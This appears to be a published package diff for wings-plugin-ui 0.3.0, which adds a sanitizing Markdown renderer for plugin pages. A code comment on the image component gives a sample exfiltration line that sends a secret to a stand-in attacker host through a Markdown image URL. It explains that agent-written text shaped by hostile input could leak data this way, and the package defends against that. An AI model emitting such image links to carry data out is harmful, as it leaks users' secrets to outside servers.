wings-plugin-ui 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -85,6 +85,7 @@ message.
85
85
  | `Combobox` | `label`, `value`, `onInput`, `options: { value, label, detail? }[]`, `onPick`, `onEnter`, `onKeyDown`, `freeText`, `openOnFocus`, `open`, `filter`, `empty` | A text field with suggestions under it: arrows, Enter, Escape and Tab, and a press outside closes it. With `freeText` it keeps what you type; otherwise it picks one of `options`. `openOnFocus={false}` for a page that puts focus back into it after a render. Without `freeText` the picked label is selected when the field gets focus and after a pick, so typing replaces it. `onEnter(text)` runs on Enter when no option is highlighted, with the typed text, and stops the Enter from submitting a form around it. An `onKeyDown` you pass runs first; `e.preventDefault()` in it skips the combobox's own keys. ArrowDown on a closed combobox opens it and highlights the first option, as in the [WAI-ARIA APG combobox pattern](https://www.w3.org/WAI/ARIA/apg/patterns/combobox/). `open="whileText"` keeps the list shown for as long as the field has text and an option matches, even after Escape, Tab or a press outside (those only clear the highlighted option) and it closes when the text is emptied or an option is picked; `aria-expanded` follows whether the list is shown. Accessibility caveat: the APG pattern has Escape dismiss the popup and treats it as shown only while the user is working in the combobox, so this mode departs from it. Use it only where the suggestions are the page's main content, such as a people search that is useful to keep in view, and not for a field where a stray list would cover other controls |
86
86
  | `Menu` | `label`, `items: { id, label, onSelect, tone? }[]`, `align`, `variant`, `size` | A button that opens a menu: arrows, Home, End, Enter, Escape |
87
87
  | `Disclosure` | `summary` | More behind a line that opens it |
88
+ | `Markdown` | `source`, `inline` | Markdown as React: headings, lists with read-only task checkboxes, GFM tables, fenced code, quotes, rules, bold, italics, strikethrough, links and bare https URLs, and images. No HTML is ever parsed; only `https:` links open (through `wings.openUrl`, so the manifest needs `permissions.openUrl` with an `https://` prefix) and images load only from `https:` or `data:image/` png, jpeg, gif or webp URLs up to 8,000 characters (`MAX_DATA_IMAGE`); an `https:` image shows as a "Load image from <host>" button and loads only when clicked (no option to turn that off), because the text may come from an agent and the URL could carry data out, and a `data:` image shows at once; `[![alt](img)](url)` is a link with the alt as its text. `inline` renders just the inline parts in a span. Memoized on `source` |
88
89
 
89
90
  Every component passes other props, like `id`, `title`, `className`, `onClick` and `aria-*`, to its element.
90
91
  `TextInput` and `SearchField` pass `ref` to the input on React 19.
package/markdown.js ADDED
@@ -0,0 +1,187 @@
1
+ // A small, safe Markdown parser for plugin pages, as data. It never produces HTML: text stays text, so React escapes
2
+ // it, and the only URLs it lets through are https links and https or small data:image images.
3
+ //
4
+ // Blocks: headings, paragraphs, lists (flat, with an indent depth, and task items), fenced code, quotes, rules and
5
+ // GFM tables. Inline: code, bold, italics, strikethrough, links, images and bare https URLs.
6
+
7
+ /** A data: image longer than this, in characters, is shown as its alt text. */
8
+ export const MAX_DATA_IMAGE = 8000;
9
+
10
+ /** Only https links are ever opened. Anything else (javascript:, http:, data:, relative) is not a link. */
11
+ export const safeHref = (href) => (/^https:\/\/[^\s<>"'`]+$/i.test(href) ? href : null);
12
+
13
+ /** Only https images, and small raster data: images. SVG is left out, since it can carry script. */
14
+ export const safeSrc = (src) => {
15
+ if (/^https:\/\/[^\s<>"'`]+$/i.test(src)) return src;
16
+ if (src.length <= MAX_DATA_IMAGE && /^data:image\/(?:png|jpe?g|gif|webp);base64,[a-z0-9+/]+=*$/i.test(src)) return src;
17
+ return null;
18
+ };
19
+
20
+ const heading = /^\s{0,3}(#{1,6})\s+(.*)$/;
21
+ const bullet = /^(\s*)[-*+]\s+(.*)$/;
22
+ const numbered = /^(\s*)\d+[.)]\s+(.*)$/;
23
+ const fence = /^\s*(```|~~~)\s*([\w+-]*)/;
24
+ const rule = /^\s*([-*_])(\s*\1){2,}\s*$/;
25
+ const delimiterCell = /^:?-+:?$/;
26
+
27
+ /** The cells of a table row: split on `|` that isn't escaped as `\|`, outer pipes dropped. */
28
+ export function splitRow(line) {
29
+ let s = line.trim();
30
+ if (s.startsWith("|")) s = s.slice(1);
31
+ if (s.endsWith("|") && !s.endsWith("\\|")) s = s.slice(0, -1);
32
+ const cells = [];
33
+ let cell = "";
34
+ for (let i = 0; i < s.length; i++) {
35
+ if (s[i] === "\\" && s[i + 1] === "|") {
36
+ cell += "|";
37
+ i++;
38
+ } else if (s[i] === "|") {
39
+ cells.push(cell.trim());
40
+ cell = "";
41
+ } else cell += s[i];
42
+ }
43
+ cells.push(cell.trim());
44
+ return cells;
45
+ }
46
+
47
+ /** A table's delimiter row (`| --- | :-: |`) as column alignments, or null when the line isn't one. */
48
+ function delimiterRow(line) {
49
+ if (!line.includes("-") || !line.includes("|") && !/^\s*:?-+:?\s*$/.test(line)) return null;
50
+ const cells = splitRow(line);
51
+ if (!cells.every((c) => delimiterCell.test(c))) return null;
52
+ return cells.map((c) => (c.startsWith(":") && c.endsWith(":") ? "center" : c.endsWith(":") ? "right" : c.startsWith(":") ? "left" : null));
53
+ }
54
+
55
+ /** A heading's text without its closing hashes (`## Title ##`), found by walking back from the end. */
56
+ function headingText(text) {
57
+ let end = text.length;
58
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
59
+ let hashes = end;
60
+ while (hashes > 0 && text[hashes - 1] === "#") hashes--;
61
+ if (hashes < end && hashes > 0 && /\s/.test(text[hashes - 1])) {
62
+ end = hashes;
63
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
64
+ }
65
+ return text.slice(0, end);
66
+ }
67
+
68
+ /**
69
+ * Blocks of Markdown, as data:
70
+ * `{ kind: "heading", level 1-6, text }`, `{ kind: "paragraph", text }`,
71
+ * `{ kind: "list", ordered, items: { text, depth 0-3, checked: boolean | null }[] }`, `{ kind: "code", lang, text }`,
72
+ * `{ kind: "quote", text }`, `{ kind: "rule" }` and `{ kind: "table", align, head, rows }`.
73
+ */
74
+ export function parseBlocks(src) {
75
+ const blocks = [];
76
+ const lines = String(src).replace(/\r\n?/g, "\n").split("\n");
77
+ let paragraph = [];
78
+ const flush = () => {
79
+ if (paragraph.length) blocks.push({ kind: "paragraph", text: paragraph.join(" ") });
80
+ paragraph = [];
81
+ };
82
+ for (let i = 0; i < lines.length; i++) {
83
+ const line = lines[i];
84
+ const open = fence.exec(line);
85
+ if (open) {
86
+ flush();
87
+ const code = [];
88
+ while (++i < lines.length && !new RegExp(`^\\s*${open[1]}\\s*$`).test(lines[i])) code.push(lines[i]);
89
+ blocks.push({ kind: "code", lang: open[2], text: code.join("\n") });
90
+ continue;
91
+ }
92
+ if (!line.trim()) {
93
+ flush();
94
+ continue;
95
+ }
96
+ // A table: a header row with a pipe, then a delimiter row with as many cells.
97
+ if (line.includes("|") && i + 1 < lines.length) {
98
+ const align = delimiterRow(lines[i + 1]);
99
+ const head = align && splitRow(line);
100
+ if (align && head.length === align.length) {
101
+ flush();
102
+ const rows = [];
103
+ let j = i + 2;
104
+ for (; j < lines.length && lines[j].trim() && lines[j].includes("|"); j++) {
105
+ const cells = splitRow(lines[j]);
106
+ // Short rows are padded and long ones cut, as GFM does.
107
+ rows.push(Array.from({ length: head.length }, (_, c) => cells[c] ?? ""));
108
+ }
109
+ blocks.push({ kind: "table", align, head, rows });
110
+ i = j - 1;
111
+ continue;
112
+ }
113
+ }
114
+ const h = heading.exec(line);
115
+ const li = bullet.exec(line) ?? numbered.exec(line);
116
+ if (h) {
117
+ flush();
118
+ blocks.push({ kind: "heading", level: h[1].length, text: headingText(h[2]) });
119
+ } else if (rule.test(line)) {
120
+ flush();
121
+ blocks.push({ kind: "rule" });
122
+ } else if (li) {
123
+ flush();
124
+ const ordered = !bullet.test(line);
125
+ const task = /^\[([ xX])\]\s+(.*)$/.exec(li[2]);
126
+ const item = { text: task ? task[2] : li[2], depth: Math.min(3, Math.floor(li[1].replace(/\t/g, " ").length / 2)), checked: task ? task[1] !== " " : null };
127
+ const last = blocks.at(-1);
128
+ if (last?.kind === "list" && last.ordered === ordered) last.items.push(item);
129
+ else blocks.push({ kind: "list", ordered, items: [item] });
130
+ } else if (line.trimStart().startsWith(">")) {
131
+ flush();
132
+ const text = line.replace(/^\s*>\s?/, "");
133
+ const last = blocks.at(-1);
134
+ if (last?.kind === "quote") last.text += ` ${text}`;
135
+ else blocks.push({ kind: "quote", text });
136
+ } else paragraph.push(line.trim());
137
+ }
138
+ flush();
139
+ return blocks;
140
+ }
141
+
142
+ // Every scan is bounded and stops at a newline, so a long run of brackets or markers costs a bounded step per start
143
+ // rather than a pass over the rest of the text.
144
+ const inlinePattern =
145
+ /\[!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)\]\(([^)\s]{1,2000})\)|!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)|\[([^\[\]\n]{1,200})\]\(([^)\s]{1,2000})\)|`([^`\n]{1,2000})`|\*\*([^*\n]{1,2000})\*\*|~~([^~\n]{1,2000})~~|\*([^*\s][^*\n]{0,2000})\*|(https:\/\/[^\s<>"'`)\]]{1,2000})/gi;
146
+
147
+ const sentenceEnd = ".,;:!?";
148
+
149
+ /**
150
+ * Inline spans: `{ kind: "text" | "code" | "strong" | "em" | "del", text }`, `{ kind: "link", text, href }` and
151
+ * `{ kind: "image", alt, src }`. A link that isn't https is its text; an image that isn't allowed is its alt text. An
152
+ * image inside a link (`[![alt](img)](url)`) is a link whose text is the alt.
153
+ */
154
+ export function parseInline(src) {
155
+ const out = [];
156
+ let at = 0;
157
+ for (const m of src.matchAll(inlinePattern)) {
158
+ if (m.index > at) out.push({ kind: "text", text: src.slice(at, m.index) });
159
+ at = m.index + m[0].length;
160
+ if (m[3] !== undefined) {
161
+ const href = safeHref(m[3]);
162
+ const text = m[1] || m[3];
163
+ out.push(href ? { kind: "link", text, href } : { kind: "text", text: m[1] });
164
+ } else if (m[5] !== undefined) {
165
+ const safe = safeSrc(m[5]);
166
+ if (safe) out.push({ kind: "image", alt: m[4], src: safe });
167
+ else if (m[4]) out.push({ kind: "text", text: m[4] });
168
+ } else if (m[7] !== undefined) {
169
+ const href = safeHref(m[7]);
170
+ out.push(href ? { kind: "link", text: m[6], href } : { kind: "text", text: m[6] });
171
+ } else if (m[8] !== undefined) out.push({ kind: "code", text: m[8] });
172
+ else if (m[9] !== undefined) out.push({ kind: "strong", text: m[9] });
173
+ else if (m[10] !== undefined) out.push({ kind: "del", text: m[10] });
174
+ else if (m[11] !== undefined) out.push({ kind: "em", text: m[11] });
175
+ else {
176
+ // A bare URL, without the punctuation that ends a sentence.
177
+ let end = m[12].length;
178
+ while (end > 0 && sentenceEnd.includes(m[12][end - 1])) end--;
179
+ const url = m[12].slice(0, end);
180
+ const href = safeHref(url);
181
+ out.push(href ? { kind: "link", text: url, href } : { kind: "text", text: url });
182
+ if (end < m[12].length) out.push({ kind: "text", text: m[12].slice(end) });
183
+ }
184
+ }
185
+ if (at < src.length) out.push({ kind: "text", text: src.slice(at) });
186
+ return out;
187
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wings-plugin-ui",
3
- "version": "0.2.0",
3
+ "version": "0.3.0",
4
4
  "description": "React components and the stylesheet for Wings plugin pages, on Base UI like the Wings app's shadcn/ui components.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -14,6 +14,7 @@
14
14
  },
15
15
  "files": [
16
16
  "ui.js",
17
+ "markdown.js",
17
18
  "ui.d.ts",
18
19
  "plugin-ui.css",
19
20
  "README.md",
package/plugin-ui.css CHANGED
@@ -1526,4 +1526,139 @@ textarea::placeholder {
1526
1526
  animation: none;
1527
1527
  }
1528
1528
  }
1529
+ /* Markdown */
1530
+ .w-md {
1531
+ display: flex;
1532
+ flex-direction: column;
1533
+ gap: 10px;
1534
+ line-height: 1.55;
1535
+ overflow-wrap: anywhere;
1536
+ min-width: 0;
1537
+ }
1538
+ span.w-md {
1539
+ display: inline;
1540
+ }
1541
+ .w-md-heading {
1542
+ margin: 4px 0 0;
1543
+ font-weight: 600;
1544
+ font-size: 14px;
1545
+ }
1546
+ .w-md-heading[data-level="1"] {
1547
+ font-size: 15px;
1548
+ }
1549
+ .w-md-heading[data-level="3"],
1550
+ .w-md-heading[data-level="4"] {
1551
+ font-size: 13px;
1552
+ }
1553
+ .w-md-list {
1554
+ margin: 0;
1555
+ padding-left: 20px;
1556
+ }
1557
+ .w-md-list:not([data-ordered]) {
1558
+ list-style: disc;
1559
+ }
1560
+ .w-md-list[data-ordered] {
1561
+ list-style: decimal;
1562
+ }
1563
+ .w-md-list > li[data-depth="1"] {
1564
+ margin-left: 16px;
1565
+ }
1566
+ .w-md-list > li[data-depth="2"] {
1567
+ margin-left: 32px;
1568
+ }
1569
+ .w-md-list > li[data-depth="3"] {
1570
+ margin-left: 48px;
1571
+ }
1572
+ .w-md-list > li[data-task] {
1573
+ list-style: none;
1574
+ margin-left: -20px;
1575
+ }
1576
+ .w-md-list > li[data-task][data-depth="1"] {
1577
+ margin-left: -4px;
1578
+ }
1579
+ .w-md-check {
1580
+ width: 13px;
1581
+ height: 13px;
1582
+ margin: 0 6px 0 0;
1583
+ padding: 0;
1584
+ vertical-align: -2px;
1585
+ accent-color: var(--wings-fg);
1586
+ }
1587
+ .w-md-code {
1588
+ padding: 1px 4px;
1589
+ border-radius: 4px;
1590
+ background: rgb(255 255 255 / 0.08);
1591
+ font-family: var(--wings-mono);
1592
+ font-size: 0.92em;
1593
+ }
1594
+ .w-md-pre {
1595
+ margin: 0;
1596
+ padding: 10px 12px;
1597
+ overflow-x: auto;
1598
+ border-radius: 8px;
1599
+ background: rgb(255 255 255 / 0.06);
1600
+ font: 12px/1.45 var(--wings-mono);
1601
+ }
1602
+ .w-md-quote {
1603
+ margin: 0;
1604
+ padding-left: 12px;
1605
+ border-left: 2px solid var(--wings-hairline-strong);
1606
+ color: var(--wings-muted);
1607
+ }
1608
+ .w-md-rule {
1609
+ width: 100%;
1610
+ border: 0;
1611
+ border-top: 1px solid var(--wings-hairline);
1612
+ }
1613
+ .w-md-link {
1614
+ color: var(--wings-info);
1615
+ text-underline-offset: 2px;
1616
+ }
1617
+ .w-md-link:hover {
1618
+ text-decoration: underline;
1619
+ }
1620
+ .w-md-image {
1621
+ display: block;
1622
+ max-width: 100%;
1623
+ height: auto;
1624
+ border-radius: 8px;
1625
+ }
1626
+ .w-md-image-load {
1627
+ height: auto;
1628
+ max-width: 100%;
1629
+ padding: 4px 10px;
1630
+ font-size: 12px;
1631
+ overflow-wrap: anywhere;
1632
+ }
1633
+ .w-md-table-wrap {
1634
+ max-width: 100%;
1635
+ overflow-x: auto;
1636
+ border: 1px solid var(--wings-hairline);
1637
+ border-radius: 8px;
1638
+ }
1639
+ .w-md-table {
1640
+ width: 100%;
1641
+ border-collapse: collapse;
1642
+ font-size: 12.5px;
1643
+ }
1644
+ .w-md-table th,
1645
+ .w-md-table td {
1646
+ padding: 6px 10px;
1647
+ border-bottom: 1px solid var(--wings-hairline);
1648
+ text-align: left;
1649
+ vertical-align: top;
1650
+ }
1651
+ .w-md-table th {
1652
+ background: var(--wings-surface);
1653
+ font-weight: 600;
1654
+ }
1655
+ .w-md-table tbody tr:last-child td {
1656
+ border-bottom: 0;
1657
+ }
1658
+ .w-md-table [data-align="center"] {
1659
+ text-align: center;
1660
+ }
1661
+ .w-md-table [data-align="right"] {
1662
+ text-align: right;
1663
+ }
1529
1664
  }
package/ui.d.ts CHANGED
@@ -334,3 +334,17 @@ export function Menu(props: Omit<Props<"button">, "children"> & { label: ReactNo
334
334
  export function Disclosure(
335
335
  props: Omit<Props<"div">, "children"> & { summary: ReactNode; children?: ReactNode; open?: boolean; defaultOpen?: boolean; onOpenChange?: (open: boolean) => void },
336
336
  ): ReactElement;
337
+
338
+ // ---------- markdown ----------
339
+
340
+ /**
341
+ * Markdown as React elements: headings, paragraphs, lists (with read-only task checkboxes), fenced code, quotes,
342
+ * rules, GFM tables, bold, italics, strikethrough, inline code, links, bare https URLs and images. No HTML is ever
343
+ * parsed. Links open through `wings.openUrl` and only when they are https, so the manifest needs
344
+ * `permissions.openUrl: ["https://"]` for them to work. Images load only from https or `data:image/` (png, jpeg, gif,
345
+ * webp) URLs of up to 8,000 characters; anything else shows its alt text. A remote https image shows as a "Load image from <host>" button and loads only when clicked, since text an agent wrote could otherwise leak data in the URL; a data: image shows at once. `inline` renders only the inline parts, in
346
+ * a span, for a table cell or a one-line value. Re-renders only when `source` changes.
347
+ */
348
+ export function Markdown(props: Omit<Props<"div">, "children"> & { source: string; inline?: boolean }): ReactElement;
349
+ /** The longest `data:image/` URL, in characters, that `Markdown` shows. */
350
+ export const MAX_DATA_IMAGE: number;
package/ui.js CHANGED
@@ -14,9 +14,13 @@ import { Select as BaseSelect } from "@base-ui/react/select";
14
14
  import { Tabs as BaseTabs } from "@base-ui/react/tabs";
15
15
  import { Toggle as BaseToggle } from "@base-ui/react/toggle";
16
16
  import { ToggleGroup as BaseToggleGroup } from "@base-ui/react/toggle-group";
17
- import { createContext, createElement as h, useContext, useEffect, useId, useLayoutEffect, useRef, useState } from "react";
17
+ import { createContext, createElement as h, useContext, useEffect, useId, memo, useLayoutEffect, useRef, useState } from "react";
18
18
  import { createRoot } from "react-dom/client";
19
19
 
20
+ import { MAX_DATA_IMAGE, parseBlocks, parseInline } from "./markdown.js";
21
+
22
+ export { MAX_DATA_IMAGE };
23
+
20
24
  import { mountShell } from "wings-plugin-sdk/shell";
21
25
 
22
26
  // ---------- places ----------
@@ -751,3 +755,119 @@ export function Disclosure({ summary, open, defaultOpen, onOpenChange, children,
751
755
  h(BaseCollapsible.Panel, { className: "w-disclosure-panel" }, children),
752
756
  );
753
757
  }
758
+
759
+ // ---------- markdown ----------
760
+
761
+ const openLink = (e, href) => {
762
+ e.preventDefault();
763
+ // Needs `permissions.openUrl` in the manifest, like `["https://"]`.
764
+ wings.openUrl(href).catch(console.error);
765
+ };
766
+
767
+ /** Parsed inline spans by text, so a render doesn't parse every cell and paragraph again. */
768
+ const inlines = new Map();
769
+ function inlineOf(text) {
770
+ let parts = inlines.get(text);
771
+ if (!parts) {
772
+ parts = parseInline(text);
773
+ if (inlines.size >= 500) inlines.delete(inlines.keys().next().value);
774
+ inlines.set(text, parts);
775
+ }
776
+ return parts;
777
+ }
778
+
779
+ /**
780
+ * A remote image is a button until it's clicked: loading an image tells its server who looked and when, and the text
781
+ * may come from an agent that read something hostile (`![](https://attacker.example/?d=secret)`). A data: image
782
+ * carries its own bytes, so it shows at once.
783
+ */
784
+ function MdImage({ src, alt }) {
785
+ const [loaded, setLoaded] = useState(false);
786
+ const img = (h("img", { className: "w-md-image", src, alt, loading: "lazy", decoding: "async", referrerPolicy: "no-referrer" }));
787
+ if (src.startsWith("data:") || loaded) return img;
788
+ const host = new URL(src).host;
789
+ return h("button", { type: "button", className: "w-md-image-load", title: alt || undefined, onClick: () => setLoaded(true) }, `Load image from ${host}`);
790
+ }
791
+
792
+ function MdInline({ text }) {
793
+ return inlineOf(text).map((part, i) => {
794
+ switch (part.kind) {
795
+ case "code":
796
+ return h("code", { key: i, className: "w-md-code" }, part.text);
797
+ case "strong":
798
+ return h("strong", { key: i }, part.text);
799
+ case "em":
800
+ return h("em", { key: i }, part.text);
801
+ case "del":
802
+ return h("del", { key: i }, part.text);
803
+ case "image":
804
+ return h(MdImage, { key: i, src: part.src, alt: part.alt });
805
+ case "link":
806
+ return h("a", { key: i, className: "w-md-link", href: part.href, onClick: (e) => openLink(e, part.href) }, part.text);
807
+ default:
808
+ return part.text;
809
+ }
810
+ });
811
+ }
812
+
813
+ /** Parsed blocks by source, so a page that renders many sections only parses the one that changed. */
814
+ const parsed = new Map();
815
+ function blocksOf(source) {
816
+ let blocks = parsed.get(source);
817
+ if (!blocks) {
818
+ blocks = parseBlocks(source);
819
+ if (parsed.size >= 200) parsed.delete(parsed.keys().next().value);
820
+ parsed.set(source, blocks);
821
+ }
822
+ return blocks;
823
+ }
824
+
825
+ /**
826
+ * Markdown as React elements. No HTML is ever parsed; links open through `wings.openUrl` and only when they are
827
+ * https; images show only from https or small data:image URLs, and an https image loads only when clicked. Re-renders only when `source` changes.
828
+ */
829
+ export const Markdown = memo(function Markdown({ source, inline, className, ...rest }) {
830
+ if (inline) return h("span", { ...rest, className: cx("w-md", className) }, h(MdInline, { text: source }));
831
+ return h(
832
+ "div",
833
+ { ...rest, className: cx("w-md", className) },
834
+ blocksOf(source).map((b, i) => {
835
+ switch (b.kind) {
836
+ case "heading":
837
+ return h(`h${Math.min(b.level + 2, 6)}`, { key: i, className: "w-md-heading", "data-level": Math.min(b.level, 4) }, h(MdInline, { text: b.text }));
838
+ case "list":
839
+ return h(
840
+ b.ordered ? "ol" : "ul",
841
+ { key: i, className: "w-md-list", "data-ordered": b.ordered ? "" : undefined },
842
+ b.items.map((item, j) =>
843
+ h(
844
+ "li",
845
+ { key: j, "data-depth": item.depth || undefined, "data-task": item.checked === null ? undefined : "" },
846
+ item.checked === null ? null : h("input", { type: "checkbox", checked: item.checked, disabled: true, "aria-label": item.checked ? "Done" : "Not done", className: "w-md-check" }),
847
+ h(MdInline, { text: item.text }),
848
+ ),
849
+ ),
850
+ );
851
+ case "code":
852
+ return h("pre", { key: i, className: "w-md-pre" }, h("code", null, b.text));
853
+ case "quote":
854
+ return h("blockquote", { key: i, className: "w-md-quote" }, h(MdInline, { text: b.text }));
855
+ case "rule":
856
+ return h("hr", { key: i, className: "w-md-rule" });
857
+ case "table":
858
+ return h(
859
+ "div",
860
+ { key: i, className: "w-md-table-wrap" },
861
+ h(
862
+ "table",
863
+ { className: "w-md-table" },
864
+ h("thead", null, h("tr", null, b.head.map((c, j) => h("th", { key: j, scope: "col", "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c }))))),
865
+ h("tbody", null, b.rows.map((row, r) => h("tr", { key: r }, row.map((c, j) => h("td", { key: j, "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c })))))),
866
+ ),
867
+ );
868
+ default:
869
+ return h("p", { key: i }, h(MdInline, { text: b.text }));
870
+ }
871
+ }),
872
+ );
873
+ });